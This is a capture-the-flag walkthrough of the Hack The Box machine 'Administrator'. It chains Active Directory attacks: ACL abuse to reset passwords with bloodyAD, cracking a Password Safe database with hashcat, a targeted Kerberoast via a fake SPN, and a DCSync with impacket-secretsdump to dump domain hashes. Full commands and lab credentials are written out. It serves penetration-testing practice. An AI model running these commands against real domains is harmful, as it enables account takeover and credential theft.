
HTB: Administrator
Administrator is a pure Active Directory chain. Starting from a handed set of credentials, we abuse a trail of ACLs, resetting one user's password to reach the next, pivot through an FTP-hosted Password Safe database we crack with hashcat, Kerberoast our way into another account, and finish with a DCSync as ethan to dump the Administrator hash and own the domain.
We're handed a set of credentials for a user on the box, so let's spray them with netexec and see whether SMB or WinRM is open to us.

We've got WinRM access as olivia. Let's log in and check what privileges the account holds.

Good start. Now let's see what else we can reach, maybe some ACLs are open to us. We'll use bloodyAD for that.
bloodyAD --host 10.129.132.21 -d administrator.htb -u olivia -p 'ichliebedich' get writable --detail

We have write access over the user Michael. Let's reset his password.
bloodyAD --host 10.129.132.21 -d administrator.htb -u olivia -p 'ichliebedich' set password 'CN=Michael Williams,CN=Users,DC=administrator,DC=htb' 'Poseidon123!'

Success. Logging in as michael and checking for writables with bloodyAD shows us a few things.
bloodyAD --host 10.129.132.21 -d administrator.htb -u michael -p 'Poseidon123!' get writable --detail

Nothing jumps out there, so let's keep enumerating this account, this time with BloodHound.
bloodhound-python -u michael -p 'Poseidon123!' -d administrator.htb -ns 10.129.132.21 -dc DC.administrator.htb -c All --zip

BloodHound shows michael can ForceChangePassword on benjamin, so let's do exactly that.
bloodyAD --host 10.129.132.21 -d administrator.htb -u michael -p 'Poseidon123!' set password benjamin 'Poseidon123!'
We get a success, but WinRM as benjamin doesn't give us a shell. Back to netexec to look for other angles. Our nmap scan shows an FTP server running, so maybe benjamin can get in there instead.

We're in, and there's a .psafe3 file (a Password Safe database) sitting on the share. Let's pull it down to our Kali box, remembering to switch FTP to binary mode so the download doesn't come over corrupted.

Now let's try to crack the database's master password with hashcat.
hashcat -m 5200 Backup.psafe3 /usr/share/wordlists/rockyou.txt

It cracks. We grab the Password Safe application, open the database, and find passwords for three more users. Time to spray those and see what we land.

We now have WinRM as emily. Let's log in and look around.

Over on emily's desktop we find the user.txt flag.

Let's run BloodHound as emily and hunt for new angles from here.

emily has GenericWrite over ethan, which means we can Kerberoast him: write a fake SPN onto the account, then request a service ticket for it and crack that ticket offline.
bloodyAD --host 10.129.132.21 -d administrator.htb -u emily -p '<emily-password>' set object ethan servicePrincipalName -v 'http/roast.administrator.htb'
impacket-GetUserSPNs administrator.htb/emily:'<emily-password>' -dc-ip 10.129.132.21 -request-user ethan -outputfile ethan.hash
The ticket cracks easily.

With ethan's password in hand, let's see what he can do.

ethan can perform a DCSync, which lets us pull the domain's password hashes straight from the DC, the Administrator's included. Let's run secretsdump.
impacket-secretsdump administrator.htb/ethan:'<ethan-password>'@10.129.132.21

We're in business. We log in as administrator over WinRM, head to the desktop, and grab the root.txt flag.

This box felt pretty real, a great way to practice chaining AD ACLs together and constantly checking for new angles to move through the domain.
